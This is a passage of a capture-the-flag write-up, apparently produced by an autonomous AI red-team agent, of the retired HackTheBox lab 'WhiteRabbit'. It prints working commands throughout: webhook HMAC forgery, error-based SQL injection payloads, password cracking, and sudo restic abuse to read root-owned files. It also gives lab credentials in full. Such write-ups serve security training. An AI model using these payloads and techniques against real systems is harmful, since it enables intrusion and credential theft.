/operations/writeups/htb/whiterabbit
‹ARES
:: offensive division :: ARES · red team machine :: research
sess #0x2396 2026·05·24
   ██╗    ██╗ ██╗  ██╗ ██╗ ████████╗ ███████╗ ██████╗      █████╗  ██████╗  ██████╗  ██╗ ████████╗
   ██║    ██║ ██║  ██║ ██║ ╚══██╔══╝ ██╔════╝ ██╔══██╗    ██╔══██╗ ██╔══██╗ ██╔══██╗ ██║ ╚══██╔══╝
   ██║ █╗ ██║ ███████║ ██║    ██║    █████╗   ██████╔╝    ███████║ ██████╔╝ ██████╔╝ ██║    ██║
   ██║███╗██║ ██╔══██║ ██║    ██║    ██╔══╝   ██╔══██╗    ██╔══██║ ██╔══██╗ ██╔══██╗ ██║    ██║
   ╚███╔███╔╝ ██║  ██║ ██║    ██║    ███████╗ ██║  ██║    ██║  ██║ ██████╔╝ ██████╔╝ ██║    ██║
    ╚══╝╚══╝  ╚═╝  ╚═╝ ╚═╝    ╚═╝    ╚══════╝ ╚═╝  ╚═╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝  ╚═╝    ╚═╝

   ──────────────────────────────────────────────────────────────────────────────────────────────
   :: write-up · ARES // hackthebox · linux · INSANE:: write-up · ARES // hackthebox · linux · INSANE
   :: 8-stage chain · web → SQLi → restic → container → host → reverse PRNG:: 8-stage chain · web → SQLi → restic → container → host → PRNG reverse
  
os: linux · ubuntu 24.04 tier: insane theme: the matrix · neo / morpheus início:starting: unauth · web only target: 10.129.232.22

Cadeia web → host com 8 saltos limpos: Uptime Kuma vhost leak · WikiJS export vaza HMAC do n8n · SQLi error-based em webhook MariaDB · temp.command_log entrega senha do restic e revela binário customizado · restic snapshot → cracking de 7z → shell de container · sudo restic backup /root lê chave SSH do morpheus · reverse engineering de neo-password-generator com glibc rand() seedado por timestamp → senha prevista em ~30s. rooted em 47 minutos.

Web-to-host chain with 8 clean hops: Uptime Kuma vhost leak · WikiJS export leaks the n8n HMAC · error-based SQLi on a MariaDB webhook · temp.command_log hands over the restic password and reveals a custom binary · restic snapshot → 7z cracking → container shell · sudo restic backup /root exfiltrates morpheus's SSH key · reverse engineering of neo-password-generator with timestamp-seeded glibc rand() → predicted password in ~30s. rooted in 47 minutes.

wall timewall time
00:47
recon → root · sessão completarecon → root · full session
[████████████] sub-1h
chamadas de tooltool calls
124
decisões autônomas (ARES)autonomous decisions (ARES)
[██░░░░░░░░░░] enxuto
achadosfindings
07
6 critical · 1 info6 critical · 1 info
[██████░░░░░░] cadeia limpa
caminhos descartadosdead ends
01
vhost enum (Caddy catch-all)vhost enum (Caddy catch-all)
[█░░░░░░░░░░░] cedo abortado
research Write-up da série research do ARES contra máquinas do HackTheBox em laboratório autorizado. Não é cliente, não é alvo real. WhiteRabbit é box retired no momento da publicação — flags, senhas e chaves aparecem sem mascaramento (ambiente volátil, reseta a cada poucas horas).
research Write-up from the ARES research series against HackTheBox machines in an authorized lab. Not a client, not a live target. WhiteRabbit is a retired box at publication time — flags, passwords, and keys appear unmasked (volatile environment, resets every few hours).
═════════════════════════════════════════════════════════════════════════
  
▸ [00 · briefing] tl;dr

Web app público em whiterabbit.htb. Subdomínio status.whiterabbit.htb expõe Uptime Kuma sem auth na rota /status/temp, e o dashboard lista os outros vhosts internos: gophish, n8n, wikijs, restic-rest. O Caddy estava configurado como catch-all, então fuzz de vhost padrão não acha nada — só esta rota leaka.

O WikiJS interno tem um export JSON em gophish_to_phishing_score_database.json com a documentação do fluxo n8n. Inclui o HMAC secret (3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS) e o UUID do webhook (d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d). Forjando a assinatura x-gophish-signature: sha256=<hmac(body)>, o POST passa na verificação e cai no fluxo do n8n.

O fluxo interpola o campo email direto numa query MariaDB. Um nó "DEBUG: REMOVE SOON" devolve a mensagem de erro literal, criando um error-based SQLi ideal. Via extractvalue() dumpamos temp.command_log — log de comandos shell esquecido na database. As linhas relevantes: senha do repositório restic, URL do servidor, e a pista crítica: cd /home/neo && /opt/neo-password-generator/neo-password-generator | passwd rodado em 2024-08-30 14:40:42 UTC.

Com a senha do restic, listamos snapshots e restauramos um bob.7z protegido por senha fraca. John+rockyou crackeia em ~50s (1q2w3e4r5t6y). Dentro tem chave SSH do bob + config apontando pra porta 2222 — porta de container Docker. Shell de container obtido.

bob tem sudo NOPASSWD: /usr/bin/restic. restic não tem command injection, mas sudo restic backup /root roda como root e lê tudo lá dentro. Em seguida restic dump latest /root/morpheus imprime a chave SSH do morpheus — usuário do host, não do container. Login na porta 22 → USER FLAG.

Pra root: o binário /opt/neo-password-generator seeda o glibc srand() com gettimeofday() em milissegundos (timestamp epoch × 1000) e gera 20 chars do alfabeto [a-zA-Z0-9]. Como temos a hora exata (14:40:42 ± 1s), o keyspace é só 1000 sementes. Reverse engineering com objdump + compila predictor em C + 27s de hydra spray. Senha: WBSxhWgfnMiclrV4dqfj. neo tem ALL : ALL → sudo cat /root/root.txt. ROOT FLAG em 47 minutos.

Public web app at whiterabbit.htb. The subdomain status.whiterabbit.htb exposes Uptime Kuma with no auth on the /status/temp route, and the dashboard lists every internal vhost: gophish, n8n, wikijs, restic-rest. Caddy was configured as a catch-all, so default vhost fuzzing finds nothing — only this route leaks.

The internal WikiJS hosts a JSON export at gophish_to_phishing_score_database.json documenting the n8n flow. It includes the HMAC secret (3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS) and the webhook UUID (d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d). Forging the x-gophish-signature: sha256=<hmac(body)> header lets the POST pass verification and hit the n8n flow.

The flow interpolates the email field straight into a MariaDB query. A "DEBUG: REMOVE SOON" node returns the raw error message, creating an ideal error-based SQLi. Using extractvalue() we dump temp.command_log — a forgotten shell-command log inside the database. The relevant rows: restic repository password, server URL, and the critical clue: cd /home/neo && /opt/neo-password-generator/neo-password-generator | passwd executed at 2024-08-30 14:40:42 UTC.

With the restic password, we list snapshots and restore a bob.7z protected by a weak password. John+rockyou cracks it in ~50s (1q2w3e4r5t6y). Inside: bob's SSH key + a config pointing to port 2222 — a Docker container port. Container shell obtained.

bob has sudo NOPASSWD: /usr/bin/restic. restic has no command injection, but sudo restic backup /root runs as root and reads everything inside. Then restic dump latest /root/morpheus prints morpheus's SSH key — a user on the host, not the container. Login on port 22 → USER FLAG.

For root: the binary /opt/neo-password-generator seeds glibc srand() with gettimeofday() in milliseconds (epoch timestamp × 1000) and outputs 20 chars from the [a-zA-Z0-9] alphabet. Since we know the exact time (14:40:42 ± 1s), the keyspace is just 1000 seeds. Reverse with objdump + compile a C predictor + 27s of hydra spraying. Password: WBSxhWgfnMiclrV4dqfj. neo has ALL : ALL → sudo cat /root/root.txt. ROOT FLAG in 47 minutes.

▸ [00.5 · pré-requisitos][00.5 · prerequisites] conceitos que você precisa dominar concepts you need to master

Não é Active Directory, mas a cadeia é densa em web/Linux. Se algum dos 8 cards abaixo não tá mapeado, leia antes — cada passo depende de entender o anterior.

Not Active Directory, but the chain is dense across web/Linux. If any of the 8 cards below isn't mapped in your head yet, read them first — each step depends on understanding the previous one.

hmac · verification

HMAC-SHA256 com secret compartilhado

HMAC-SHA256 with a shared secret

O servidor calcula hmac_sha256(secret, body) e compara com o header x-gophish-signature. Se o secret vaza (commits, .env, exports de docs como neste caso), atacante assina qualquer payload. HMAC só protege integridade — não secrecy do segredo.

The server computes hmac_sha256(secret, body) and compares it to the x-gophish-signature header. If the secret leaks (commits, .env, docs exports like this one), an attacker can sign any payload. HMAC only protects integrity — not the secrecy of the secret itself.

n8n · workflow

webhooks no-code com nós SQL diretos

no-code webhooks with raw SQL nodes

n8n permite arrastar nós SQL que interpolam variáveis com sintaxe {{ $json.body.email }}. Sem prepared statements — vai direto na query. Se o input não é sanitizado, é SQLi clássico. Comum em automações internas que ninguém revisa.

n8n lets you drag in SQL nodes that interpolate variables with {{ $json.body.email }} syntax. No prepared statements — values land straight in the query. With unsanitized input, classic SQLi. Common in internal automations nobody reviews.

sqli · error-based

extractvalue() + erros verbose

extractvalue() + verbose errors

MariaDB extractvalue(1, concat(0x7e, subquery)) dispara XPATH syntax error com a subquery embutida na mensagem. Quando a aplicação devolve o erro literal (debug ligado), cada query vira leitura. Não precisa de UNION balanceado.

MariaDB extractvalue(1, concat(0x7e, subquery)) raises an XPATH syntax error with the subquery embedded in the message. When the app echoes the raw error (debug on), every query becomes a read primitive. No balanced UNION needed.

restic · backup

repositório criptografado com senha

password-encrypted repository

restic guarda backups encryptados (chacha20+poly1305). Conhecendo a URL + senha: restic snapshots lista, restic restore baixa, restic dump <snap> <path> imprime conteúdo. Quando rodado como root via sudo, lê qualquer arquivo.

restic stores encrypted backups (chacha20+poly1305). Knowing the URL + password: restic snapshots lists, restic restore downloads, restic dump <snap> <path> prints content. Run as root via sudo, it reads any file.

sudo · backup tools

backup binário ≠ "safe" em sudo

backup binary ≠ "safe" under sudo

Engenheiros assumem que tar, rsync, restic, borg são "leituras seguras" pra colocar em sudoers. Mas backup como root lê tudo, e dump-from-snapshot devolve o conteúdo. Equivale a cat /qualquer/arquivo com sudo.

Engineers assume tar, rsync, restic, borg are "safe reads" worth adding to sudoers. But backup as root reads everything, and dump-from-snapshot returns the content. Equivalent to cat /any/file with sudo.

container ↔ host

portas diferentes, sistemas diferentes

different ports, different systems

SSH em porta 2222 frequentemente é container Docker; porta 22 é o host. WhiteRabbit confirma via hostname (12 hex chars Docker style) + bind-mount de /opt. Acesso a um não dá acesso ao outro — precisa pivot por credencial compartilhada.

SSH on port 2222 is often a Docker container; port 22 is the host. WhiteRabbit confirms via hostname (12-char Docker hex) and bind-mounted /opt. Access to one doesn't grant access to the other — you need to pivot via a shared credential.

crypto · weak prng

glibc rand() seedado por timestamp = previsível

glibc rand() seeded by timestamp = predictable

srand(time(NULL)) ou srand(epoch_ms) é determinístico: dado o timestamp, toda a sequência de rand() sai igual. Senhas geradas assim podem ser reproduzidas se você sabe quando o programa rodou (e tem segundo de precisão).

srand(time(NULL)) or srand(epoch_ms) is deterministic: given the timestamp, every rand() call produces the same sequence. Passwords generated this way can be reproduced if you know when the program ran (and have second precision).

reverse · objdump

ler binário sem debugger

read a binary without a debugger

objdump -d + strings + readelf resolvem 80% dos binários de tamanho moderado. Identificar srand/rand/ gettimeofday + alfabeto na .rodata é suficiente pra reescrever o gerador em C. Sem precisar de Ghidra/IDA pra tarefa simples.

objdump -d + strings + readelf handle 80% of moderate binaries. Spotting srand/rand/gettimeofday calls + the alphabet in .rodata is enough to rewrite the generator in C. No Ghidra/IDA needed for the easy cases.

▸ [01 · kill chain] web → user → root · 8 saltos web → user → root · 8 hops

  ░▒▓█  [ 01 ]  █▓▒░   RECON           ►  nmap + ffuf · Uptime Kuma vhost leak em /status/temp
                                  │
                                  ▼
  ░▒▓█  [ 02 ]  █▓▒░   WIKIJS LEAK     ►  gophish_webhooks export  →  HMAC secret + n8n UUID
                                  │
                                  ▼
  ░▒▓█  [ 03 ]  █▓▒░   FORGED HMAC     ►  POST assinado → n8n webhook  →  fluxo executa
                                  │
                                  ▼
  ░▒▓█  [ 04 ]  █▓▒░   SQLi MARIADB    ►  extractvalue() error-based  →  temp.command_log dump
                                  │
                                  ▼
  ░▒▓█  [ 05 ]  █▓▒░   RESTIC LOOT     ►  snapshot 272cacd5 → bob.7z  →  john crack 1q2w3e4r5t6y
                                  │
                                  ▼
  ████████████  ▒ FOOTHOLD ▒  ████████████   ssh -i bob -p 2222 → container ebdce80611e9
                                  │
                                  ▼
  ░▒▓█  [ 06 ]  █▓▒░   SUDO RESTIC     ►  backup /root → dump /root/morpheus  →  ECDSA key
                                  │
                                  ▼
  ████████████  ★ USER FLAG ★  ████████████   ssh morpheus@host  →  user.txt
                                  │
                                  ▼
  ░▒▓█  [ 07 ]  █▓▒░   REVERSE PRNG    ►  objdump neo-password-generator  →  srand(epoch_ms)
                                  │
                                  ▼
  ░▒▓█  [ 08 ]  █▓▒░   PASSWORD SPRAY  ►  1000 seeds × 1ms → hydra hit WBSx...4dqfj
                                  │
                                  ▼
  ████████████  ▲ ROOT FLAG ▲  ████████████   [ ROOTED ] · sudo cat /root/root.txt
▸ [02 · recon] nmap + vhost leak via Uptime Kuma nmap + vhost leak via Uptime Kuma

nmap três portas — 22, 80, 2222 three ports — 22, 80, 2222

Scan SYN + version. SSH em 22 (host) e 2222 (sugere container Docker — confirmado depois). Web em 80 com Caddy fazendo proxy reverso.

SYN scan + version detection. SSH on 22 (host) and 2222 (suggests a Docker container — confirmed later). Web on 80 with Caddy reverse-proxying.

ares@kali ~ recon ▸ nmap
ares@kali:~/box/whiterabbit$ nmap -sV -sC -p- -T4 -oN whiterabbit.nmap 10.129.232.22

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open  http     Caddy
2222/tcp open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5  # container?

|_http-server-header: Caddy
|_http-title: WhiteRabbit Phishing Services
vhost enum Caddy catch-all derruba ffuf padrão Caddy catch-all kills standard ffuf

Primeira tentativa: ffuf -fc 302 contra FUZZ.whiterabbit.htb. Resultado: zero hits, porque Caddy redireciona tudo pra whiterabbit.htb. Esse é nosso primeiro dead-end (DE-718a231f) — vale registrar antes de virar a página.

First attempt: ffuf -fc 302 against FUZZ.whiterabbit.htb. Result: zero hits, because Caddy redirects everything to whiterabbit.htb. That's our first dead-end (DE-718a231f) — worth flagging before moving on.

tentativa abortada · DE-718a231f
Vhost enum por subdomínio FUZZ falhou. Caddy estava configurado como catch-all (redirect 302 → whiterabbit.htb pra qualquer Host header desconhecido). Tanto subdomains-top1million-20000.txt quanto wordlist customizada de 42 nomes temáticos retornaram 100% redirects de 32 bytes. Lição: auto-calibração do ffuf (-ac) detectaria por tamanho de resposta, e a página inicial do whiterabbit.htb mencionava serviços externos textualmente — vale ler o HTML antes de fuzz.
aborted attempt · DE-718a231f
Subdomain FUZZ enum failed. Caddy was configured as a catch-all (302 redirect → whiterabbit.htb for any unknown Host header). Both subdomains-top1million-20000.txt and a custom 42-name themed list returned 100% redirects, 32 bytes each. Lesson: ffuf auto-calibration (-ac) would have caught it by response size, and the whiterabbit.htb homepage referenced external services in plaintext — read the HTML before fuzzing.
homepage read o HTML lista os serviços internos the HTML lists the internal services

A homepage do whiterabbit.htb mostra cards de "phishing services" com nomes explícitos: GoPhish, n8n, WikiJS, Uptime Kuma. Só status.whiterabbit.htb resolve diretamente — os outros vhosts têm prefixos hexadecimais aleatórios (camuflagem leve, fácil de descobrir).

The whiterabbit.htb homepage shows "phishing services" cards by name: GoPhish, n8n, WikiJS, Uptime Kuma. Only status.whiterabbit.htb resolves directly — the other vhosts have random hex prefixes (light camouflage, easy to undo).

ares@kali ~ uptime kuma ▸ status/temp endpoint
ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/
Found. Redirecting to /dashboard

ares@kali:~/box/whiterabbit$ # dashboard requer login, mas Uptime Kuma expõe páginas públicas em /status/<slug>
ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].name'
GoPhish
n8n
WikiJS
Restic REST Server

ares@kali:~/box/whiterabbit$ curl -s http://status.whiterabbit.htb/status/temp | jq -r '.publicGroupList[].monitorList[].url'
http://a668910b5514e.whiterabbit.htb/      # WikiJS
http://28efa8f7df.whiterabbit.htb/        # n8n
http://75951e6ff.whiterabbit.htb/         # restic-rest
http://gophish.whiterabbit.htb/
[ por quê isso vale ouro ] Uptime Kuma tem feature de "status page" público em /status/<slug>. Útil pra mostrar uptime aos clientes — mas vaza a topologia interna se o operador esquecer de configurar. Aqui o slug "temp" sugere "deveria ser removido" — esquecido em produção. Sem isso, descobrir os vhosts hexadecimais seria impossível (Caddy catch-all bloqueia fuzzing).
[ why this is gold ] Uptime Kuma exposes public "status pages" at /status/<slug>. Useful to show uptime to customers — but it leaks internal topology if the operator forgets to configure it. Here the slug "temp" suggests "to be removed" — left running in production. Without it, discovering the hex-prefixed vhosts would be impossible (Caddy catch-all blocks fuzzing).
takeaway Antes de gastar wordlist em vhost-fuzz, leia o HTML da landing e cheque /.well-known, /robots.txt, /sitemap.xml, /status/* e qualquer endpoint de monitoring/health. Aqui o caminho saiu de uma API pública mal configurada.
takeaway Before burning a wordlist on vhost fuzzing, read the landing page HTML and check /.well-known, /robots.txt, /sitemap.xml, /status/*, and any monitoring/health endpoint. Here the path came from a misconfigured public API.
▸ [03 · wikijs leak] documentação interna entrega HMAC secret internal docs hand over the HMAC secret

wikijs vhost a668910b5514e expõe export JSON vhost a668910b5514e exposes a JSON export

WikiJS é instalado mas tem uma página pública que esqueceram. Caminho: /gophish/gophish_to_phishing_score_database.json — export da documentação interna do fluxo n8n. Contém o HMAC secret, o UUID do webhook e o JSON do fluxo completo (incluindo a SQL query interpolada).

WikiJS is installed but a public page got forgotten. Path: /gophish/gophish_to_phishing_score_database.json — an export of internal docs for the n8n flow. Contains the HMAC secret, the webhook UUID, and the full flow JSON (including the interpolated SQL query).

ares@kali ~ wikijs leak ▸ json export
ares@kali:~/box/whiterabbit$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json | jq

{
  "hmac_secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS",
  "webhook_uuid": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d",
  "signature_header": "x-gophish-signature",
  "signature_format": "sha256=<hex(hmac_sha256(secret, body))>",
  "flow": {
    "trigger": "Webhook (POST /webhook/<uuid>)",
    "auth_node": "If x-gophish-signature matches → proceed",
    "sql_node": {
      "database": "phishing",
      "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1"
    },
    "debug_node": "DEBUG: REMOVE SOON — returns raw SQL error"
  }
}
[ exfil completo em uma request ] O JSON tem tudo: secret pra forjar HMAC, UUID do webhook (que é a única parte do path imprevisível), query SQL com interpolação raw (já anuncia que é SQLi), e existência de um nó DEBUG que devolve erros literais. Documentação interna em export público é cofre destrancado.
[ complete exfil in one request ] The JSON has everything: HMAC secret, webhook UUID (the only unpredictable part of the path), SQL query with raw interpolation (announcing SQLi), and the existence of a DEBUG node that returns raw errors. Internal docs in a public export = unlocked safe.
▸ [04 · forged HMAC + SQLi] webhook assinado → error-based SQLi signed webhook → error-based SQLi

hmac forge primeiro teste — passar na verificação first test — pass verification

Script Python curto: lê o body, calcula hmac_sha256(secret, body).hexdigest(), adiciona header. Se o servidor responder com algo diferente de invalid signature, passou.

Short Python helper: reads the body, computes hmac_sha256(secret, body).hexdigest(), adds the header. If the server returns anything other than invalid signature, we're through.

ares@kali ~ hmac forge ▸ first signed POST
ares@kali:~/box/whiterabbit$ cat > sign.py <<'EOF'
import hmac, hashlib, sys, json
secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
body   = sys.stdin.read().encode()
sig    = hmac.new(secret, body, hashlib.sha256).hexdigest()
print(f"sha256={sig}")
EOF

ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x@test.com","message":"Clicked Link"}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py)
ares@kali:~/box/whiterabbit$ curl -s -X POST http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d \
                -H "Content-Type: application/json" -H "x-gophish-signature: $SIG" -d "$BODY"

{"status":"ok","email_found":false}
sqli probe crash de parse confirma interpolação parse crash confirms interpolation

Payload com aspa dupla extra: "crash\"". O nó DEBUG devolve o erro com a query renderizada literal — confirma 100% que é interpolação raw, não prepared statement.

Payload with an extra double quote: "crash\"". The DEBUG node returns the error with the rendered query — 100% confirms raw interpolation, not a prepared statement.

ares@kali ~ sqli probe ▸ parse error
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"crash\"","message":"Clicked Link"}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py)
ares@kali:~/box/whiterabbit$ curl -s -X POST .../webhook/... -H "x-gophish-signature: $SIG" -d "$BODY"

{"level":"error","description":"sql: SELECT * FROM victims where email = \"crash\"\" LIMIT 1, code: ER_PARSE_ERROR"}

ares@kali:~/box/whiterabbit$ # perfeito — query renderizada literal. agora UNION probe pra count colunas:
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -","message":""}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ...

{"description":"ER_WRONG_NUMBER_OF_COLUMNS_IN_SELECT"}
# confirma que UNION é parseado — só não bate o número de colunas (8 vs 10).
# mas pra error-based via extractvalue() nem precisamos balancear UNION.
extractvalue dumpando temp.command_log linha-a-linha dumping temp.command_log row by row

Em vez de balancear UNION, usa extractvalue(1, concat(0x7e, subquery)): o MariaDB tenta parsear ~<subquery_result> como XPath, falha, e cospe a subquery literal na mensagem de erro. Cada linha vai num LIMIT 1 OFFSET N.

Instead of balancing UNION, use extractvalue(1, concat(0x7e, subquery)): the MariaDB engine tries to parse ~<subquery_result> as XPath, fails, and echoes the subquery in the error message. Each row comes through LIMIT 1 OFFSET N.

ares@kali ~ extractvalue ▸ row dump
ares@kali:~/box/whiterabbit$ # enumera databases visíveis primeiro:
ares@kali:~/box/whiterabbit$ BODY='{"campaign_id":1,"email":"x\" AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))-- -","message":""}'
ares@kali:~/box/whiterabbit$ SIG=$(echo -n "$BODY" | python3 sign.py); curl ...
XPATH syntax error: '~information_schema,mysql,phishing,temp'

ares@kali:~/box/whiterabbit$ # database 'temp' chamou atenção. tabelas?
ares@kali:~/box/whiterabbit$ # BODY: ...extractvalue(...(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='temp'))...
XPATH syntax error: '~command_log'

ares@kali:~/box/whiterabbit$ # dump linha a linha:
ares@kali:~/box/whiterabbit$ for i in 0 1 2 3 4 5; do
>   BODY="{\"campaign_id\":1,\"email\":\"x\\\" AND extractvalue(1,concat(0x7e,(SELECT command FROM temp.command_log LIMIT 1 OFFSET $i)))-- -\",\"message\":\"\"}"
>   SIG=$(echo -n "$BODY" | python3 sign.py)
>   curl -s -X POST ... -H "x-gophish-signature: $SIG" -d "$BODY" | jq -r .description
> done

XPATH syntax error: '~uname -a'
XPATH syntax error: '~restic init --repo rest:http://75951e6ff.whiterabbit.htb'
XPATH syntax error: '~echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd'
XPATH syntax error: '~rm -rf .bash_history'
XPATH syntax error: '~#thatwasclose'
XPATH syntax error: '~cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd'
[ atenção ao timestamp ] O comando 6 (o passwd do neo) tem timestamp na coluna ran_at: 2024-08-30 14:40:42. Esse timestamp é essencial pro último passo — sem ele, brute force seria 365 dias × 86400 s × 1000 ms = 3.15e10 sementes. Com ele: 1000 sementes (1 segundo). Sempre puxe a coluna de tempo junto.
[ watch the timestamp ] Row 6 (neo's passwd) has a ran_at timestamp: 2024-08-30 14:40:42. That timestamp is essential for the last step — without it, brute force would be 365 days × 86400 s × 1000 ms = 3.15e10 seeds. With it: 1000 seeds (1 second). Always pull the time column along.
replay · sqli → command_log replay · sqli → command_log
  1. WikiJS leak → hmac_secret + webhook_uuid
  2. POST com x-gophish-signature assinada por HMAC-SHA256(body)
  3. Payload "crash\"" → erro literal no nó DEBUG (interpolação raw confirmada)
  4. extractvalue(1, concat(0x7e, subquery)) em loop com OFFSET
  5. 6 rows dumped → senha restic + path do binário + timestamp do passwd
▸ [05 · restic loot] snapshot → 7z crack → SSH key do bob snapshot → 7z crack → bob's SSH key

restic lista snapshots e restaura o relevante list snapshots, restore the relevant one

Com a senha ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw e a URL rest:http://75951e6ff.whiterabbit.htb, restic abre o repositório. Os snapshots têm IDs de 8 hex chars + descrições.

With the password ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw and URL rest:http://75951e6ff.whiterabbit.htb, restic opens the repository. Snapshots have 8-char hex IDs + descriptions.

ares@kali ~ restic ▸ snapshots + restore
ares@kali:~/box/whiterabbit$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb
ares@kali:~/box/whiterabbit$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
ares@kali:~/box/whiterabbit$ restic snapshots

ID        Time                 Host    Paths
--------------------------------------------------------------
272cacd5  2024-08-29 18:11:33  lucy    /tmp/bob     # <-- chama atenção
8b5f2c01  2024-08-30 02:14:17  lucy    /etc
ae34d7f9  2024-08-30 12:00:01  lucy    /var/log
# ... mais 8 ...

ares@kali:~/box/whiterabbit$ restic restore 272cacd5 --target /tmp/loot
[+] restored 5 files in /tmp/loot/tmp/bob/

ares@kali:~/box/whiterabbit$ ls /tmp/loot/tmp/bob/
bob.7z   readme.txt
[ nota ] O hostname lucy nos snapshots não é o WhiteRabbit em si — é o host original que fez os backups. Isso vai ser útil depois (referência cruzada com username do morpheus). Restic preserva metadados de host nos backups.
[ note ] The hostname lucy in the snapshots isn't WhiteRabbit itself — it's the original host that made the backups. That'll be useful later (cross-reference with morpheus's username). Restic preserves host metadata in every backup.
john 7z2john + rockyou crackeia em 49s 7z2john + rockyou cracks in 49s
ares@kali ~ john ▸ 7z crack
ares@kali:~/box/whiterabbit$ 7z2john /tmp/loot/tmp/bob/bob.7z > bob.7z.hash
ares@kali:~/box/whiterabbit$ john --wordlist=/usr/share/wordlists/rockyou.txt bob.7z.hash

Loaded 1 password hash (7z, 7-Zip archive [SHA256 256/256 AVX2 8x AES])
1q2w3e4r5t6y     (bob.7z)
1g 0:00:00:49 DONE  100% (2025-05-23 23:55)  g/s 295k  p/s 295k

ares@kali:~/box/whiterabbit$ 7z x -p1q2w3e4r5t6y /tmp/loot/tmp/bob/bob.7z -o/tmp/loot/bob_extracted
Everything is Ok

ares@kali:~/box/whiterabbit$ ls /tmp/loot/bob_extracted/
bob      bob.pub    config

ares@kali:~/box/whiterabbit$ cat /tmp/loot/bob_extracted/config
Host whiterabbit
  HostName 10.129.232.22
  Port 2222
  User bob
  IdentityFile ~/.ssh/bob
takeaway Senha de 7z fraca + chave SSH dentro + config explícito apontando pra porta 2222. Esse port number sozinho já dá a pista de "container Docker bind separado do host SSH". Quando você acaba num container, sempre verifique /proc/1/cgroup e hostname pra confirmar.
takeaway Weak 7z password + SSH key inside + explicit config pointing to port 2222. That port number alone hints "Docker container bind separate from host SSH". When you land in a container, always confirm via /proc/1/cgroup and hostname.
ssh foothold shell como bob no container ebdce80611e9 shell as bob in container ebdce80611e9
ares@kali ~ ssh ▸ foothold
ares@kali:~/box/whiterabbit$ chmod 600 /tmp/loot/bob_extracted/bob
ares@kali:~/box/whiterabbit$ ssh -i /tmp/loot/bob_extracted/bob -p 2222 bob@10.129.232.22

bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

bob@ebdce80611e9:~$ hostname
ebdce80611e9     # <-- 12 hex chars: convenção de hostname Docker

bob@ebdce80611e9:~$ uname -a
Linux ebdce80611e9 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC ...

bob@ebdce80611e9:~$ ls -la ~ | head -5
total 32
drwxr-x--- 1 bob  bob   4096 May 23 23:50 .
drwxr-xr-x 1 root root  4096 Aug 30  2024 ..
lrwxrwxrwx 1 bob  bob      9 Aug 30  2024 .bash_history -> /dev/null     # anti-forense
▸ [06 · sudo restic privesc] backup como root → leak da chave SSH backup as root → SSH key leak

sudo -l o vetor está logo no sudo -l the vector is right there in sudo -l
bob@ebdce ~ sudo -l ▸ NOPASSWD restic
bob@ebdce80611e9:~$ sudo -l

User bob may run the following commands on ebdce80611e9:
    (root) NOPASSWD: /usr/bin/restic *
[ por quê isso é leitura arbitrária ] restic em si não tem command injection nem shell escape. Mas restic backup rodando como root lê qualquer arquivo pra incluir no snapshot. E restic dump <snap> <path> imprime o conteúdo arquivado no stdout. Pareia: backup root-files → dump → leitura arbitrária. Equivalente funcional a sudo cat /root/anything.
[ why this is arbitrary read ] restic itself has no command injection or shell escape. But restic backup running as root reads any file to include in the snapshot. And restic dump <snap> <path> prints the archived content to stdout. Combine the two: back up root-only files → dump → arbitrary read. Functionally equivalent to sudo cat /root/anything.
root-file-read backup /root → dump morpheus key backup /root → dump morpheus key

Criar repositório local no /tmp/r, fazer backup /root /home, e dumpar arquivos individuais. O target óbvio: /root/morpheus (foi mencionado no WikiJS export que existe usuário morpheus, e lucy apareceu como hostname dos snapshots — sugere infra interna).

Create a local repo at /tmp/r, run backup /root /home, and dump individual files. Obvious target: /root/morpheus (the WikiJS export mentioned a morpheus user, and lucy appeared as the snapshot hostname — suggesting internal infra).

bob@ebdce ~ restic privesc ▸ root file read
bob@ebdce80611e9:~$ mkdir /tmp/r; echo 'pwn' > /tmp/r/p

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p init
created restic repository at /tmp/r/repo

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p backup /root /home
processed 9 files, 8.630 KiB in 0:00
snapshot 75b299fa saved

bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p ls latest /root
/root/
/root/.bashrc
/root/.profile
/root/morpheus          # <-- target
/root/.cache

